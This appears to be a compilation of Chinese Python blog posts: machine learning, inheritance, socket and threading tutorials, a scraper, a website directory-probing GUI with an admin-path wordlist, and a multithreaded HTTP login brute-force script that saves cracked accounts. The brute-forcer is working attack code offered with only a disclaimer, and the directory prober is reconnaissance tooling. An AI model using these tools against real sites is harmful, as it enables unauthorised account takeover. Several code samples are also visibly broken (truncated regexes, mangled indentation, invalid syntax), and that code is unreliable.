                     ['my', 'dalmation', 'is', 'so', 'cute', 'I', 'love', 'him'],
                     ['stop', 'posting', 'stupid', 'worthless', 'garbage'],
                     ['mr', 'licks', 'ate', 'my', 'steak', 'how', 'to', 'stop', 'him'],
                     ['quit', 'buying', 'worthless', 'dog', 'food', 'stupid']]
        classVec = [0,1,0,1,0,1]    #1 is abusive, 0 not
        return postingList,classVec
    #创建一个带有所有单词的列表
    def createVocabList(dataSet):
        vocabSet = set([])
        for document in dataSet:
            vocabSet = vocabSet | set(document)
        return list(vocabSet)
        
    def setOfWords2Vec(vocabList, inputSet):
        retVocabList = [0] * len(vocabList)
        for word in inputSet:
            if word in vocabList:
                retVocabList[vocabList.index(word)] = 1
            else:
                print 'word ',word ,'not in dict'
        return retVocabList
    #另一种模型    
    def bagOfWords2VecMN(vocabList, inputSet):
        returnVec = [0]*len(vocabList)
        for word in inputSet:
            if word in vocabList:
                returnVec[vocabList.index(word)] += 1
        return returnVec
    def trainNB0(trainMatrix,trainCatergory):
        numTrainDoc = len(trainMatrix)
        numWords = len(trainMatrix[0])
        pAbusive = sum(trainCatergory)/float(numTrainDoc)
        #防止多个概率的成绩当中的一个为0
        p0Num = ones(numWords)
        p1Num = ones(numWords)
        p0Denom = 2.0
        p1Denom = 2.0
        for i in range(numTrainDoc):
            if trainCatergory[i] == 1:
                p1Num +=trainMatrix[i]
                p1Denom += sum(trainMatrix[i])
            else:
                p0Num +=trainMatrix[i]
                p0Denom += sum(trainMatrix[i])
        p1Vect = log(p1Num/p1Denom)#处于精度的考虑，否则很可能到限归零
        p0Vect = log(p0Num/p0Denom)
        return p0Vect,p1Vect,pAbusive
        
    def classifyNB(vec2Classify, p0Vec, p1Vec, pClass1):
        p1 = sum(vec2Classify * p1Vec) + log(pClass1)    #element-wise mult
        p0 = sum(vec2Classify * p0Vec) + log(1.0 - pClass1)
        if p1 > p0:
            return 1
        else: 
            return 0
            
    def testingNB():
        listOPosts,listClasses = loadDataSet()
        myVocabList = createVocabList(listOPosts)
        trainMat=[]
        for postinDoc in listOPosts:
            trainMat.append(setOfWords2Vec(myVocabList, postinDoc))
        p0V,p1V,pAb = trainNB0(array(trainMat),array(listClasses))
        testEntry = ['love', 'my', 'dalmation']
        thisDoc = array(setOfWords2Vec(myVocabList, testEntry))
        print testEntry,'classified as: ',classifyNB(thisDoc,p0V,p1V,pAb)
        testEntry = ['stupid', 'garbage']
        thisDoc = array(setOfWords2Vec(myVocabList, testEntry))
        print testEntry,'classified as: ',classifyNB(thisDoc,p0V,p1V,pAb)
        
        
    def main():
        testingNB()
        
    if __name__ == '__main__':
        main()

pydev部署开发全解析

2018-01-01T00:00:00+08:00

# pydev部署开发全解析

把pydev开发的一个上传项目部署到测试环境时

1、提示找不到我写的模块

解决方法：在项目入口增加代码

#在项目的PYTHONPATH 添加源目录

PROJECT_DIR = os.path.dirname(__file__)

PROJECT_ROOT_DIR = os.path.dirname(PROJECT_DIR)

if not PROJECT_ROOT_DIR in sys.path:

sys.path.append(PROJECT_ROOT_DIR)

if not PROJECT_DIR in sys.path:

sys.path.append(PROJECT_DIR)

2、运行时提示默认编码为ascii，不是utf-8错误

解决方法：在python的site-packages目录下增加sitecustomize.py

import sys

sys.setdefaultencoding("utf-8")

3、easy_install安装PIL时提示不支持jpeg（png类似）

解决方法：由于centos是64位的，在yum install libjpeg* 时，安装到了/usr/lib64目录下，

而PIL默认搜索的路径是/usr/lib，所以未找到而报错，直接做ln即可

python 多继承详解

2018-01-01T00:00:00+08:00

# python 多继承详解


    class A(object):    # A must be new-style class
       def __init__(self):
        print "enter A"
        print "leave A"

    class B(C):     # A --> C
       def __init__(self):
        print "enter B"
        super(B, self).__init__()
        print "leave B"


    在我们的印象中，对于super(B, self).__init__()是这样理解的：super(B, self)首先找到B的父类（就是类A），然后把类B的对象self转换为类A的对象，然后“被转换”的类A对象调用自己的__init__函数。

    有一天某同事设计了一个相对复杂的类体系结构（我们先不要管这个类体系设计得是否合理，仅把这个例子作为一个题目来研究就好），代码如下


    代码段4：


    class A(object):
        def __init__(self):
            print "enter A"
            print "leave A"

    class B(object):
        def __init__(self):
            print "enter B"
            print "leave B"

    class C(A):
        def __init__(self):
            print "enter C"
            super(C, self).__init__()
            print "leave C"

    class D(A):
        def __init__(self):
            print "enter D"
            super(D, self).__init__()
            print "leave D"
            class E(B, C):
            def __init__(self):
            print "enter E"
            B.__init__(self)
            C.__init__(self)
            print "leave E"

    class F(E, D):
        def __init__(self):
            print "enter F"
            E.__init__(self)
            D.__init__(self)
            print "leave F"

f = F() ，结果如下：



    enter F enter E enter B leave B enter C enter D enter A leave A leave D leave C leave E enter D enter A leave A leave D leave F



   明显地，类A和类D的初始化函数被重复调用了2次，这并不是我们所期望的结果！我们所期望的结果是最多只有类A的初始化函数被调用2次——其实这是多继承的类体
系必须面对的问题。我们把代码段4的类体系画出来，如下图：

   object  
  |       \  
  |        A  
  |      / |  
  B  C  D  
   \   /   |  
     E    |  
       \   |  
         F

   按我们对super的理解，从图中可以看出，在调用类C的初始化函数时，应该是调用类A的初始化函数，但事实上却调用了类D的初始化函数。好一个诡异的问题！

也就是说，mro中记录了一个类的所有基类的类类型序列。查看mro的记录，发觉包含7个元素，7个类名分别为：

F E B C D A object

　　从而说明了为什么在C.__init__中使用super(C, self).__init__()会调用类D的初始化函数了。 ???

　　我们把代码段4改写为：



    代码段5：


    class A(object):
        def __init__(self):
            print "enter A"
            super(A, self).__init__()  # new
            print "leave A"

    class B(object):
        def __init__(self):
            print "enter B"
            super(B, self).__init__()  # new
            print "leave B"

    class C(A):
        def __init__(self):
            print "enter C"
            super(C, self).__init__()
            print "leave C"

    class D(A):
        def __init__(self):
            print "enter D"
            super(D, self).__init__()
            print "leave D"
            class E(B, C):
            def __init__(self):
            print "enter E"
            super(E, self).__init__()  # change
            print "leave E"

    class F(E, D):
        def __init__(self):
            print "enter F"
            super(F, self).__init__()  # change
            print "leave F"

f = F()，执行结果：



    enter F enter E enter B enter C enter D enter A leave A leave D leave C leave B leave E leave F

    可见，F的初始化不仅完成了所有的父类的调用，而且保证了每一个父类的初始化函数只调用一次。


小结

　　1. super并不是一个函数，是一个类名，形如super(B, self)事实上调用了super类的初始化函数，  
      产生了一个super对象；  
　　2. super类的初始化函数并没有做什么特殊的操作，只是简单记录了类类型和具体实例；  
　　3. super(B, self).func的调用并不是用于调用当前类的父类的func函数；  
　　4. Python的多继承类是通过mro的方式来保证各个父类的函数被逐一调用，而且保证每个父类函数  
      只调用一次（如果每个类都使用super）；  
　　5. 混用super类和非绑定的函数是一个危险行为，这可能导致应该调用的父类函数没有调用或者一  
      个父类函数被调用多次。

一些更深入的问题：各位可以看到，print F.__mro__时发现里面元素的顺序是 F E B C D A
object，这就是F的基类查找顺序，至于为什么是这样的顺序，以及python内置的多继承顺序是怎么实现的，这涉及到mro顺序的实现，python
2.3以后的版本中是采用的一个叫做C3的算法，在下篇博客中进行介绍。

python 多进程通信模块

2018-01-01T00:00:00+08:00

# python 多进程通信模块

多进程通信方法好多，不一而数。刚才试python封装好嘅多进程通信模块 multiprocessing.connection。

简单测试一下，效率还可以，应该系对socket封装，效率可以达到4krps，可以满足好多方面嘅需求啦。

附代码如下:

client




    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    """ download - slave
    """
    __author__ = 'Zagfai'
    __license__ = 'MIT@2014-02'
     
    import webtul
    from multiprocessing.connection import Client
     
    a = 0
    try:
        while True:
            a += 1
            address = ('10.33.41.112', 6666)
            conn = Client(address, authkey='hellokey')
            #print conn.recv()
            d = conn.recv()
            conn.close()
    except:
        pass
    print a

server




    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    """ downloader - master server
    """
    __author__ = 'Zagfai'
    __license__ = 'MIT@2014-02'
     
    import webtul
    from multiprocessing.connection import Listener
    from threading import Thread
     
    def listener():
        address = ('10.33.41.112', 6666)
        listener = Listener(address, backlog=100, authkey='hellokey')
        while True:
            conn = listener.accept()
            #print 'connection accepted from', listener.last_accepted
            try:
                conn.send({'1':2, '2':'abc'})
            except Exception, e:
                print e
            finally:
                conn.close()
        listener.close()
     
    listener_th = Thread(target=listener)
    listener_th.daemon = True
    listener_th.start()
    listener_th.join(timeout=20)

python 开发简单的聊天工具

2018-01-01T00:00:00+08:00

# python 开发简单的聊天工具

python 太强大了，以至于它什么都可以做，哈哈，开个玩笑。但是今天要讲的真的是一个非常神奇的应用。

使用python写一个聊天工具

其实大家平时用的QQ类似的聊天工具，也是使用socket进行聊天，只是它还包含了更加复杂的功能。基本原理是一样的。

python实现聊天功能，主要用到了socket模块。下面直接上实例吧



server端



    import socket
    s=socket.socket()
    #建立socket链接
    s.bind(('127.0.0.1',8000))
    #监听连接请求，其中的1 ，是指监听一个
    s.listen(1)
    #进行循环，一直监听client发来的消息
    while 1:
    #获取链接IP和端口
        conn,addr=s.accept()
        print '['+addr[0]+':'+str(addr[1])+'] send a message to me: '+conn.recv(1024)
        conn.sendall('I received a message from ['+addr[0]+':'+str(addr[1])+']')
    s.close()



client 端，比较简单不需要监听，不需要循环



    import socket
    s=socket.socket()
    #链接
    s.connect(('127.0.0.1', 8000))
    #获取键盘输入
    msg = raw_input("Please input your message:")
    s.sendall(msg)
    print s.recv(1024)
    s.close()



很简单吧，哈哈，大家可以在这个代码的基础上，优化创造出更强的功能

python 类变量在多线程下的共享与释放问题

2018-01-01T00:00:00+08:00

# python 类变量 在多线程下的共享与释放问题

最近被多线程给坑了下，没意识到类变量在多线程下是共享的，还有一个就是没意识到 内存释放问题，导致越累越大

1.python 类变量 在多线程情况 下的 是共享的

2.python 类变量 在多线程情况 下的 释放是不完全的

3.python 类变量 在多线程情况 下没释放的那部分 内存 是可以重复利用的



    import threading
     import time

     class Test:

         cache = {}

         @classmethod
         def get_value(self, key):
             value = Test.cache.get(key, [])
             return len(value)

         @classmethod
         def store_value(self, key, value):
             if not Test.cache.has_key(key):
                 Test.cache[key] = range(value)
             else:
                 Test.cache[key].extend(range(value)) 
             return len(Test.cache[key])

         @classmethod
         def release_value(self, key):
             if Test.cache.has_key(key):
                 Test.cache.pop(key)
             return True

         @classmethod
         def print_cache(self):
             print 'print_cache:'
             for key in Test.cache:
                 print 'key: %d, value:%d' % (key, len(Test.cache[key]))

     def worker(number, value):
         key = number % 5
         print 'threading: %d, store_value: %d' % (number, Test.store_value(key, value))
         time.sleep(10)
         print 'threading: %d, release_value: %s' % (number, Test.release_value(key))

     if __name__ == '__main__':
         thread_num = 10

         thread_pool = []
         for i in range(thread_num):
             th = threading.Thread(target=worker,args=[i, 1000000])
             thread_pool.append(th)
             thread_pool[i].start()

         for thread in thread_pool:
             threading.Thread.join(thread)

         Test.print_cache()
         time.sleep(10)

         thread_pool = []
         for i in range(thread_num):
             th = threading.Thread(target=worker,args=[i, 100000])
             thread_pool.append(th)
             thread_pool[i].start()

         for thread in thread_pool:
             threading.Thread.join(thread)

         Test.print_cache()
         time.sleep(10)

总结

公用的数据，除非是只读的，不然不要当类成员变量，一是会共享，二是不好释放。

python 爬取指定url的ICP备案信息（结构化抓取）

2018-01-01T00:00:00+08:00

# python 爬取指定url的ICP备案信息（结构化抓取）


    #coding=gbk  
    import os 
    import sys 
    import re 
    import time 
    import urllib2

    def perror_and_exit(message, status = -1): 
        sys.stderr.write(message + '\n') 
        sys.exit(status)

    def get_text_from_html_tag(html): 
        pattern_text =  re.compile(r">.*?    return pattern_text.findall(html)[0][1:-2].strip()

    def parse_alexa(url): 
        url_alexa = "http://icp.alexa.cn/index.php?q=%s" % url 
        print url_alexa 
        #handle exception  
        times = 0
        while times < 5000: #等待有一定次数限制  
            try: 
                alexa = urllib2.urlopen(url_alexa).read()

                pattern_table = re.compile(r".*?", re.DOTALL | re.MULTILINE) 
                match_table = pattern_table.search(alexa) 
                if not match_table: 
                    raise BaseException("No table in HTML") 
                break
            except: 
                print "try %s times:sleep %s seconds" % (times, 2**times) 
                times += 1 
                time.sleep(2**times) 
                continue

        table = match_table.group() 
        pattern_tr = re.compile(r".*?", re.DOTALL | re.MULTILINE) 
        match_tr = pattern_tr.findall(table) 
        if len(match_tr) != 2: 
            perror_and_exit("table format is incorrect")

        icp_tr = match_tr[1] 
        pattern_td = re.compile(r".*?", re.DOTALL | re.MULTILINE) 
        match_td = pattern_td.findall(icp_tr)

        #print match_td  
        company_name = get_text_from_html_tag(match_td[1]) 
        company_properties = get_text_from_html_tag(match_td[2]) 
        company_icp = get_text_from_html_tag(match_td[3]) 
        company_icp = company_icp[company_icp.find(">") + 1:] 
        company_website_name = get_text_from_html_tag(match_td[4]) 
        company_website_home_page = get_text_from_html_tag(match_td[5]) 
        company_website_home_page = company_website_home_page[company_website_home_page.rfind(">") + 1:] 
        company_detail_url = get_text_from_html_tag(match_td[7]) 
        pattern_href = re.compile(r"href=\".*?\"", re.DOTALL | re.MULTILINE) 
        match_href = pattern_href.findall(company_detail_url) 
        if len(match_href) == 0: 
            company_detail_url = "" 
        else: 
            company_detail_url = match_href[0][len("href=\""):-1] 
        return [url, company_name, company_properties, company_icp, company_website_name, company_website_home_page, company_detail_url] 
        pass

    if __name__ == "__main__": 
        fw = file("out.txt", "w") 
        for url in sys.stdin: 
            fw.write("\t".join(parse_alexa(url)) + "\n")

    #coding=gbk
    import os
    import sys
    import re
    import time
    import urllib2

    def perror_and_exit(message, status = -1):
        sys.stderr.write(message + '\n')
        sys.exit(status)

    def get_text_from_html_tag(html):
        pattern_text =  re.compile(r">.*?    return pattern_text.findall(html)[0][1:-2].strip()

    def parse_alexa(url):
        url_alexa = "http://icp.alexa.cn/index.php?q=%s" % url
        print url_alexa
        #handle exception
        times = 0
        while times < 5000: #等待有一定次数限制
            try:
                alexa = urllib2.urlopen(url_alexa).read()

                pattern_table = re.compile(r".*?", re.DOTALL | re.MULTILINE)
                match_table = pattern_table.search(alexa)
                if not match_table:
                    raise BaseException("No table in HTML")
                break
            except:
                print "try %s times:sleep %s seconds" % (times, 2**times)
                times += 1
                time.sleep(2**times)
                continue

        table = match_table.group()
        pattern_tr = re.compile(r".*?", re.DOTALL | re.MULTILINE)
        match_tr = pattern_tr.findall(table)
        if len(match_tr) != 2:
            perror_and_exit("table format is incorrect")

        icp_tr = match_tr[1]
        pattern_td = re.compile(r".*?", re.DOTALL | re.MULTILINE)
        match_td = pattern_td.findall(icp_tr)

        #print match_td
        company_name = get_text_from_html_tag(match_td[1])
        company_properties = get_text_from_html_tag(match_td[2])
        company_icp = get_text_from_html_tag(match_td[3])
        company_icp = company_icp[company_icp.find(">") + 1:]
        company_website_name = get_text_from_html_tag(match_td[4])
        company_website_home_page = get_text_from_html_tag(match_td[5])
        company_website_home_page = company_website_home_page[company_website_home_page.rfind(">") + 1:]
        company_detail_url = get_text_from_html_tag(match_td[7])
        pattern_href = re.compile(r"href=\".*?\"", re.DOTALL | re.MULTILINE)
        match_href = pattern_href.findall(company_detail_url)
        if len(match_href) == 0:
            company_detail_url = ""
        else:
            company_detail_url = match_href[0][len("href=\""):-1]
        return [url, company_name, company_properties, company_icp, company_website_name, company_website_home_page, company_detail_url]
        pass

    if __name__ == "__main__":
        fw = file("out.txt", "w")
        for url in sys.stdin:
            fw.write("\t".join(parse_alexa(url)) + "\n")[python] view plaincopyprint? time.sleep(2) 
        pass

     time.sleep(2)
        pass



每次抓取都会sleep 2s，防止ip被封，实际上即使sleep了IP过一段时间还是会被封

由于是结构化抓取，当网站格式变化此程序将无法使用

python 探测网站目录的GUI程序

2018-01-01T00:00:00+08:00

# python 探测网站目录的GUI程序

1.pyqt4写的界面 find_ui.py



    #-*- coding: utf-8 -*-
    from PyQt4 import QtCore, QtGui

    try:
        _fromUtf8 = QtCore.QString.fromUtf8
    except AttributeError:
        def _fromUtf8(s):
            return s

    try:
        _encoding = QtGui.QApplication.UnicodeUTF8
        def _translate(context, text, disambig):
            return QtGui.QApplication.translate(context, text, disambig, _encoding)
    except AttributeError:
        def _translate(context, text, disambig):
            return QtGui.QApplication.translate(context, text, disambig)

    class Ui_Form(object):
        def setupUi(self, Form):
            Form.setObjectName(_fromUtf8("Form"))
            Form.resize(516, 467)
            self.label = QtGui.QLabel(Form)
            self.label.setGeometry(QtCore.QRect(20, 10, 54, 16))
            self.label.setObjectName(_fromUtf8("label"))
            self.edit_address = QtGui.QLineEdit(Form)
            self.edit_address.setGeometry(QtCore.QRect(80, 10, 351, 20))
            self.edit_address.setObjectName(_fromUtf8("edit_address"))
            self.button_search = QtGui.QPushButton(Form)
            self.button_search.setGeometry(QtCore.QRect(440, 10, 61, 23))
            self.button_search.setObjectName(_fromUtf8("button_search"))
            self.text_all = QtGui.QTextEdit(Form)
            self.text_all.setGeometry(QtCore.QRect(20, 40, 411, 261))
            self.text_all.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
            self.text_all.setObjectName(_fromUtf8("text_all"))
            self.label_2 = QtGui.QLabel(Form)
            self.label_2.setGeometry(QtCore.QRect(20, 320, 54, 12))
            self.label_2.setObjectName(_fromUtf8("label_2"))
            self.text_exist = QtGui.QTextEdit(Form)
            self.text_exist.setGeometry(QtCore.QRect(20, 340, 411, 64))
            self.text_exist.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
            self.text_exist.setObjectName(_fromUtf8("text_exist"))
            self.label_3 = QtGui.QLabel(Form)
            self.label_3.setGeometry(QtCore.QRect(380, 310, 91, 20))
            self.label_3.setText(_fromUtf8(""))
            self.label_3.setObjectName(_fromUtf8("label_3"))
            self.edit_add = QtGui.QLineEdit(Form)
            self.edit_add.setGeometry(QtCore.QRect(20, 420, 411, 20))
            self.edit_add.setObjectName(_fromUtf8("edit_add"))
            self.button_add = QtGui.QPushButton(Form)
            self.button_add.setGeometry(QtCore.QRect(440, 420, 71, 23))
            self.button_add.setObjectName(_fromUtf8("button_add"))
            self.label_4 = QtGui.QLabel(Form)
            self.label_4.setGeometry(QtCore.QRect(20, 440, 251, 16))
            self.label_4.setObjectName(_fromUtf8("label_4"))

            self.retranslateUi(Form)
            QtCore.QMetaObject.connectSlotsByName(Form)

        def retranslateUi(self, Form):
            Form.setWindowTitle(_translate("Form", "目录探测工具", None))
            self.label.setText(_translate("Form", "网站地址：", None))
            self.button_search.setText(_translate("Form", "探测", None))
            self.label_2.setText(_translate("Form", "结果：", None))
            self.button_add.setText(_translate("Form", "添加地址", None))
            self.label_4.setText(_translate("Form", "例如：/admin/manager.asp  请以斜杠开始", None))



2\. 启动文件 start.py



    #!/usr/local/bin/python
    #coding=utf-8

    import sys
    import os
    import time
    import httplib
    import re
    from PyQt4 import QtCore, QtGui
    from threading import Thread

    from find_ui import Ui_Form


    class MyForm(QtGui.QMainWindow):
        def __init__(self, parent=None):
            QtGui.QWidget.__init__(self, parent)
            self.ui = Ui_Form()
            self.ui.setupUi(self)
            QtCore.QObject.connect(self.ui.button_search,QtCore.SIGNAL("clicked()"), self.startthread)
            QtCore.QObject.connect(self.ui.button_add,QtCore.SIGNAL("clicked()"), self.addAddress)
        def startSearch(self):
            self.ui.label_3.setText("") 
            self.getAddress()
            address=str(self.ui.edit_address.text())
            self.accessAddesss(address)

        def startthread(self):
            t1=Thread(target=self.startSearch,)
            t1.start()


        def getAddress(self):
            try:
                global addresslist
                addresslist=[]
                filePath=os.getcwd()+"\\address.txt"
               # if not os.path.isfile(filePath):
                #    print 'aaa'             
                 #   return 0

                fileAddress=file(filePath,"r")
                for address_line in fileAddress.readlines():
                    if address_line not in addresslist:
                        addresslist.append(address_line)
                        pass
                    pass
                pass
                fileAddress.close()

            except:
                #self.ui.text_all.setText('aaa')
                self.ui.text_all.setText(u'打开文件错误')
                pass
            finally:
                #fileAddress.close()
                pass
           # print addresslist[0]

        def accessAddesss(self,host):
            try:
                print host
                print len(addresslist)
                for oneAddress in addresslist:
                    print len(addresslist)
                    oneAddress=oneAddress.replace("\n","")
                    print oneAddress
                    connection=httplib.HTTPConnection(host,80,timeout=10)
                    connection.request("GET",oneAddress)
                    response=connection.getresponse()
                    result=response.reason
                    resultNum=response.status

                    if "OK" in result or "Forbidden" in result:
                        getaddress="http://"+host+oneAddress+"------"+str(resultNum)+":"+result
                        self.ui.text_exist.append(getaddress)
                    else:
                        self.ui.text_all.append("http://"+host+oneAddress+"------"+str(resultNum)+":"+result)

                    connection.close()
            except Exception as e:
                print e.message
            self.ui.label_3.setText(u"探测完成") 
            self.ui.label_3.colorCount()

        def  addAddress(self):
            try:
                filePath=os.getcwd()+"\\address.txt"      
                fileAddress=file(filePath,"a")
                newAddress="\n"+str(self.ui.edit_add.text())
                print newAddress
                fileAddress.write(newAddress)
                fileAddress.close()
            except Exception as e:
                print e.message


    if __name__ == "__main__":
        app = QtGui.QApplication(sys.argv)
        myapp = MyForm()
        myapp.show()
        sys.exit(app.exec_())



3.address.txt 扫描地址名单文件，可以通过编辑改文件制定自己的规则,你懂的~~

/admin.php

/admin/

/administrator/

/moderator/

/webadmin/

/adminarea/

/bb-admin/

/adminLogin/

/test/login.jsp

/source/login.php

python 写的http后台弱口令爆破工具

2018-01-01T00:00:00+08:00

# python 写的http后台弱口令爆破工具

今天来弄一个后台破解的Python小程序，哈哈，直接上代码吧，都有注释~~



    # -*- coding: utf-8 -*-
    # 利用python 写的多线程爆破后台用户名+密码(自备字典),比较实用,即使是在信息安全这么重视的今天,还是有人不加验证码或者异常访问限制之类的登陆验证方式,这样就很# 容易被弱口令爆破工具拿下,(本代码仅限学习实用,禁止进行web攻击,不承担法律责任)
    import urllib2
    import urllib
    import httplib
    import threading
     
    headers = {"Content-Type":"application/x-www-form-urlencoded",     
               "Connection":"Keep-Alive",
               "Referer":"http://www.xxxxx.com/"};# referer:是代理的访问来源地址
    # lock = threading.Lock()
    def tryUser(user,password):
        #print user,password
        global headers
        global outFile 
        conn = httplib.HTTPConnection("www.xxxxx.com") # 远程域名
        if len(user) < 3:     # 限制用户名长度，排除字典中的无用数据
            return  # 主动退出线程
        else:
            #lock.acquire()   # 多线程操作文件，提前加锁，用后释放
            #line = inFile.readline()
             
            #userData = line.strip().split(' # ') # strip() 默认去除空白字符包括' ','\t','\n'等
            #lock.release()
     
            user = user.strip()
            passwd = password.strip()
            params = urllib.urlencode({'username': user, 'password': passwd})
            conn.request(method="POST", url="/users/login", body=params, headers=headers) # 后台路径
            responseText = conn.getresponse().read().decode('utf8') # 网页编码
            #print responseText  # 第一次可以打印看看是否解析
            if not responseText.find(u'用户名或者密码不正确,请重新输入!') > 0 :
                print '----- find user:', user, 'with password:', passwd, '-----'
                outFile.write(user + '    ' +  passwd + '\n')
                 
        return
     
    outFile = open('accounts-cracked.txt', 'w')
     
    if __name__ == '__main__':
        tsk=[] # 创建线程池
        with open(r'user.dic', 'r') as fUser:  # 使用with as 来打开文件,不需自己关闭文件,因为他会自己在合适的时候自已关闭(类似C# 中的using(...){}接口)
            with open(r'pass.dic', 'r') as fPass:
                for user in fUser.readlines():
                    for password in fPass.readlines():
                        t= threading.Thread(target = tryUser,args=(user,password))
                        t.daemon = False # 设置不进行进程守护
                        tsk.append(t) # t.start()
                    fPass.seek(0)
                    # 记住这里要将文件重新移到文件首,不然就会出现只执行外层循环的第一条,因为内层在
                    # 迭代之后(readlines()是迭代器的形式,迭代一次后文件指针就指到文件尾了,迭代器
                    # 也是end了)第二次就没有password 在 fPass中,也就是说 for  password in fPass.readlines():
                    # 为空,所以这里的内层循环就不会被执行了,因此也就是迭代器清零的问题(C ++ itertor 常有)
                      
                         
    # join()无参数就是完全阻塞主线程,等待线程执行完 有参数就是说，
    # 在主线程等待一秒后就不阻塞线程了,继续执行主线程,这里的意思是一秒钟开一个线程
    # 不能再thread start之前调用join(), 因为join() 是线程运行时调度
        for t in tsk:
            t.start()
            t.join(1) 
     
     
     
        print "All thread OK,maybe not "
        outFile.close()

python 在互联网应用是如此强大

2018-01-01T00:00:00+08:00

# python 在互联网应用是如此强大

我最近读到一遍文章其主要关注点是在Python社区，讲的是为什么Python应用如此丑陋？

尽管某些情况下他的观点是正确的，但是对于他问的这个问题“[亲爱的Python，你为何如此丑陋](http://blog.jobbole.com/18629/
)”真是荒谬至极。

他所叙述的每个假设和比对显得非常愚蠢，写那边文章的人视乎对在Python之上构建的博客和Web应用的设计水平完全没有深刻印象。

为了揭穿真相，根据他说的，我收集了一系列由Python实现的应用，这些应用绝对是经过精心设计的。

> 不要基于我的HTML布局来批判，真正的内容在服务端——Mahdi Yusuf

**[Instagram](http://instagr.am/)**

![\\](http://www.pythontab.com/uploadfile/2012/1220/20121220051139145.jpg)

这个“小”公司最近卖了10亿美金。它如此受大众欢迎很重要的一个因素之一就是他的优美，Instagram大量使用了Python。

**[Pinterest](http://pinterest.com/) **

![\\](http://www.pythontab.com/uploadfile/2012/1220/20121220051139949.jpg)

另一个精美的应用，确定不是用Python写的吗？错了，它就是用Python写的。

**[Washington Post](http://www.washingtonpost.com/)**

![\\](http://www.pythontab.com/uploadfile/2012/1220/20121220051140591.jpg)

新闻站点虽不是最具创新性的设计，但是它对任何词的定义并不丑陋.

**[EveryBlock](http://www.everyblock.com/)**

![everyblock](http://www.pythontab.com/uploadfile/2012/1220/20121220051140979.
jpg)

EveryBlock由Django的联合作者(Adrian Holovaty)创建，丑吗？一点都不觉得。

**[Mozilla](http://www.mozilla.org/en-US/)**

![Mozilla](http://www.pythontab.com/uploadfile/2012/1220/20121220051140652.jpg
)

至今使用Python最大的站点之一，Mozillaz 在设计和创新上都有很好的造诣

**[Courtside](http://courtside.me/)**

![Courtside](http://www.pythontab.com/uploadfile/2012/1220/20121220051140487.j
pg)

这个应用是我和我团队为Django Dash所写，尽管我不能拿出任何很好的设计，但是我们可以花时间去实践。

**[Youtube](http://www.youtube.com/)**

![Youtube](http://www.pythontab.com/uploadfile/2012/1220/20121220051141629.jpg
)

**[Douban](http://www.douban.com/)**



（译者补个国内的）没人不知道豆瓣吧，阿北是这样说的：“从个人喜好来说，python更简洁，和我口味。python用缩位不知省去了我多少时间。我以前 { }
; 敲了十几年了，现在想起来真是不堪回首。”

还需要我继续介绍吗？

我想Path也是在他们的web应用中大量使用的Python，这个产品在设计和创新都得到了赞许。

所以，那些发表声明说用特定的语言写网站很丑，这是没有任何意义的。Python社区充满活力和极多的愿望及利益，而不仅仅是那些漂亮的东西。

有个说法是设计师让网站看起来漂亮、简洁，这并不是后端工程师能用语言可以编写的。

如果你是程序员，又想学习设计的话，你应该看看这本书《 [Design for Hackers: Reverse Engineering Beauty](ht
tp://www.amazon.ca/gp/product/1119998956/ref=as_li_ss_tl?ie=UTF8&tag=job0ae-20
&linkCode=as2&camp=15121&creative=390961&creativeASIN=1119998956)》。

python 中readline 和readlines的区别

2018-01-01T00:00:00+08:00

# python 中readline 和readlines的区别

#### 1.readline 场景



    f0=file("readline.txt",r)
    while true
        for line in f0.readline()
    if not line: break
    pass #do something

readline 的用法，速度是fileinput的3倍左右，每秒3-4万行，好处是 一行行读 ，不占内存，适合处理比较大的文件，比如超过内存大小的文件

#### 2.readlines 场景



    f1=open("readline.txt","r")
    for line in f1.readlines()#跟上面的方式不同
    print line

readlines会把文件都读入内存，速度大大增加，但是木有这么大内存,那就只能乖乖的用readline了

python socket编程入门（编写server实例）

2018-01-01T00:00:00+08:00

# python socket编程入门（编写server实例）

python 编写server的步骤：

1\. 第一步是创建socket对象。调用socket构造函数。如：

socket = socket.socket( family, type )

family参数代表地址家族，可为AF_INET或AF_UNIX。AF_INET家族包括Internet地址，AF_UNIX家族用于同一台机器上的进程间通信
。

type参数代表套接字类型，可为SOCK_STREAM(流套接字)和SOCK_DGRAM(数据报套接字)。

2\. 第二步是将socket绑定到指定地址。这是通过socket对象的bind方法来实现的：

socket.bind( address )

由AF_INET所创建的套接字，address地址必须是一个双元素元组，格式是(host,port)。host代表主机，port代表端口号。如果端口号正在使
用、主机名不正确或端口已被保留，bind方法将引发socket.error异常。

3\. 第三步是使用socket套接字的listen方法接收连接请求。

socket.listen( backlog )

backlog指定最多允许多少个客户连接到服务器。它的值至少为1。收到连接请求后，这些请求需要排队，如果队列满，就拒绝请求。

4\. 第四步是服务器套接字通过socket的accept方法等待客户请求一个连接。

connection, address = socket.accept()

调 用accept方法时，socket会时入“waiting”状态。客户请求连接时，方法建立连接并返回服务器。accept方法返回一个含有两个元素的
元组(connection,address)。第一个元素connection是新的socket对象，服务器必须通过它与客户通信；第二个元素
address是客户的Internet地址。

5\. 第五步是处理阶段，服务器和客户端通过send和recv方法通信(传输
数据)。服务器调用send，并采用字符串形式向客户发送信息。send方法返回已发送的字符个数。服务器使用recv方法从客户接收信息。调用recv
时，服务器必须指定一个整数，它对应于可通过本次方法调用来接收的最大数据量。recv方法在接收数据时会进入“blocked”状态，最后返回一个字符
串，用它表示收到的数据。如果发送的数据量超过了recv所允许的，数据会被截短。多余的数据将缓冲于接收端。以后调用recv时，多余的数据会从缓冲区
删除(以及自上次调用recv以来，客户可能发送的其它任何数据)。

6\. 传输结束，服务器调用socket的close方法关闭连接。

python编写client的步骤：

1\. 创建一个socket以连接服务器：socket = socket.socket( family, type )

2.使用socket的connect方法连接服务器。对于AF_INET家族,连接格式如下：

socket.connect( (host,port) )

host代表服务器主机名或IP，port代表服务器进程所绑定的端口号。如连接成功，客户就可通过套接字与服务器通信，如果连接失败，会引发socket.erro
r异常。

3\. 处理阶段，客户和服务器将通过send方法和recv方法通信。

4\. 传输结束，客户通过调用socket的close方法关闭连接。

下面给个简单的例子：

server.py



    if __name__ == '__main__':
        import socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind(('localhost', 8001))
        sock.listen(5)
        while True:
            connection,address = sock.accept()
            try:
                connection.settimeout(5)
                buf = connection.recv(1024)
                if buf == '1':
